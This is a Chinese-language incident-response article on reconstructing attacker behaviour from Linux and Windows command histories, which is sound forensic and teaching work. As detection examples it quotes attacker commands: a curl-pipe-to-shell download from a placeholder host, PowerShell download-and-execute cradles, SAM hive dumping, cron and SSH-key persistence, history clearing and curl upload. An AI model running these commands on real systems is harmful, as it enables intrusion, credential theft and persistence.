命令行历史取证与攻击者行为还原
命令行历史取证与攻击者行为还原
在很多应急现场,分析人员最想拿到的不是恶意样本,而是攻击者亲手敲下的那几行命令。因为命令行历史往往直接暴露攻击者的真实意图:他是来探测环境、提权控机、横向移动,还是打包窃密。
但命令历史又恰恰是最容易被误解、也最容易被清理的证据之一。0x02电子取证 已经介绍了 Linux 的 history / fc,以及 Windows 下的 doskey 等基础入口。本文进一步讨论,如何把这些碎片化痕迹提升为攻击者行为还原能力。
0x01 命令历史为什么重要
从分析价值上看,命令历史通常能直接回答以下问题:
- 攻击者进入后第一时间确认了什么信息
- 是否进行了权限探测和提权尝试
- 是否下载过载荷、工具或脚本
- 是否打过压缩包、创建用户、添加计划任务
- 是否执行过横向移动或数据外传命令
相比单纯的日志 ID 或网络五元组,命令行往往包含更直接的语义。例如:
whoami && id && uname -anet user test P@ssw0rd /addcurl http://x.x.x.x/a.sh | shpowershell -enc ...rar a backup.rar /home/data
这些命令几乎可以直接映射为攻击阶段。
0x02 Linux:bash_history 并不是全部真相
Linux 下最常见的命令痕迹文件包括:
~/.bash_history~/.zsh_history/root/.bash_history- 其他 shell 的历史文件
1. 历史写入机制决定了它可能“不完整”
很多人误以为,攻击者敲下的每条命令都会实时写入 ~/.bash_history。实际上默认行为通常是:
- 命令先进入当前 shell 的内存缓存
- 用户正常退出时才写回历史文件
- 新会话启动时再从历史文件加载
这意味着几种常见情况会导致你看不到完整历史:
- 攻击者会话异常断开
- 进程被杀,未正常退出
- 使用非交互式命令执行
- 使用脚本批量运行而非手敲
- 主动禁用了
HISTFILE
因此,历史文件中的“空白”不代表“没有执行过”。
2. Linux 下应重点关注的行为模式
从攻击链角度看,以下命令值得重点提取与归类:
环境探测
权限与凭据获取
下载与执行
持久化
数据打包与外传
如果这些动作在短时间内连续出现,攻击路径往往非常清晰。
0x03 Windows:不要只看 doskey
Windows 下的命令历史比 Linux 更分散,常见来源包括:
doskey /history的当前会话缓存- PowerShell 历史文件
- PowerShell Script Block Logging
- ConsoleHost / conhost 相关内存痕迹
- Windows 事件日志中的进程创建信息
1. doskey 的局限性
doskey /history 只能看到当前控制台会话的命令缓冲区,存在明显局限:
- 只能看当前窗口
- 关闭窗口后通常丢失
- 看不到其他 RDP 会话、其他用户会话
- 无法覆盖 PowerShell 脚本执行链
所以它更像现场勘查工具,而不是事后还原主证据。
2. PowerShell 历史与日志更有价值
现代入侵里,PowerShell 是极高频的攻击载体。分析重点包括:
ConsoleHost_history.txt- PowerShell Operational 日志
- Script Block Logging
- Module Logging
4688进程创建日志中的命令行参数
典型高风险命令特征:
powershell -nop -w hidden -encInvoke-ExpressionDownloadStringIEX(New-Object Net.WebClient).DownloadString(...)FromBase64StringAdd-MpPreference -ExclusionPath
如果主机开启了 PowerShell 高级日志,分析价值通常远高于 doskey。
0x04 行为还原的四步法
命令行分析不应停留在“找到几条可疑命令”,而应尽量形成可推演的行为链。
1. 给命令分类
建议先按目的分类:
- 环境探测
- 身份与权限探测
- 下载执行
- 横向移动
- 持久化
- 清痕反取证
- 打包外传
分类之后,你会发现攻击者通常不是无序操作,而是在按步骤推进。
2. 给命令补时间
有时间戳最好,没有时间戳也要想办法补全:
HISTTIMEFORMAT- PowerShell 日志时间
- 进程创建日志时间
- 文件创建 / 修改时间
- 网络连接时间
时间一旦补齐,就能判断顺序关系。例如:
whoamisudo -lcurl http://x.x.x.x/toolchmod +x toolcrontab -e
这就是一条清晰的“探测 -> 提权 -> 落地 -> 驻留”链。
3. 给命令找证据回声
每条关键命令都应尽量找到对应“回声”:
useradd test对应/etc/passwd变化schtasks /create对应任务 XML 与4698curl -O对应文件落地时间rar a对应压缩包生成时间net use或wmic对应横向日志与连接记录
只有命令和结果能互相印证,这条命令才能成为可信证据。
4. 识别反取证动作
攻击者很少会老老实实留下全部命令历史。命令本身往往也会暴露清痕意图,例如:
看到这些命令时,不应只把它们视作“一条命令”,而应立即上升为“攻击者开始清理证据”的分水岭事件。
0x05 三种常见误区
1. 误把历史文件当全部事实
命令历史只能说明“有记录的部分发生过”,不能说明“没记录的部分就没发生”。攻击者完全可能使用以下方式绕过:
- 非交互 shell
- 脚本批量执行
- RDP 中复制粘贴脚本
- 远控木马直接调用 API 而非 shell
2. 误把运维操作当入侵行为
分析命令时一定要结合身份、时间和上下文。例如:
- 运维在凌晨发布业务
- 自动化脚本执行批量备份
- 运维平台定时推送补丁
同样是 tar, scp, systemctl, schtasks,其含义可能完全不同。
3. 只盯“恶意工具名”
成熟攻击者越来越多使用系统自带工具,也就是 LOLBin / Living off the Land。
例如:
- Windows:
certutil,bitsadmin,mshta,rundll32 - Linux:
curl,bash,python,openssl,tar
真正应关注的是命令意图和上下文,而不是工具名称本身。
0x06 从命令链判断攻击阶段
下面给出一个简化的判断示例:
1. 侦察阶段
whoamihostnameipconfig /allnet usersysteminfo
说明攻击者刚进入,正在认知环境。
2. 武器化与提权阶段
sudo -lwmic service listfind / -perm -4000mimikatz,procdump,reg save hklm\sam
说明攻击者开始寻找更高权限或凭据。
3. 建立稳定控制阶段
schtasks /createsc createecho ssh-rsa ... >> authorized_keyssystemctl enable
说明攻击者进入持久化阶段。
4. 横向与外传阶段
wmic /node:psexecssh user@hostrar a,7z a,scp,curl -T
说明攻击者开始扩大影响或准备窃密。
把命令按阶段整理后,哪怕没有完整样本,也能较准确地描述攻击进程。
0x07 实战建议:命令历史如何纳入交付物
建议把关键命令历史整理为如下结构:
| 时间 | 用户 | 命令 | 分类 | 关联证据 | 判断 |
|---|---|---|---|---|---|
| 02:11:04 | www-data | curl http://x.x.x.x/a.sh -o /tmp/a.sh | 下载执行 | /tmp/a.sh 落地 | 攻击者落地载荷 |
| 02:11:20 | root | chmod +x /tmp/a.sh && /tmp/a.sh | 执行 | 新进程、外联 | 木马启动 |
| 02:12:03 | root | echo "@reboot /tmp/a.sh" >> /var/spool/cron/root | 持久化 | cron 文件修改 | 建立驻留 |
| 02:13:31 | root | history -c | 反取证 | 历史断层 | 尝试清痕 |
这种结构非常适合写入应急报告,既清晰又便于复核。
0x08 总结
命令行历史是应急响应中最接近攻击者“主观意图”的证据,但它从来都不是一个可以孤立相信的证据源。
真正高价值的做法是:
- 用命令历史恢复行为顺序
- 用日志、文件、进程和流量去印证它
- 用历史缺失、清理命令和断层识别反取证
当你不再满足于“看到了一条 curl 命令”,而是能够进一步说明“攻击者在何时、以何身份、出于何目的、配合了哪些后续动作”时,0x02 的命令行采集就真正升级成了 0x03 的行为分析能力。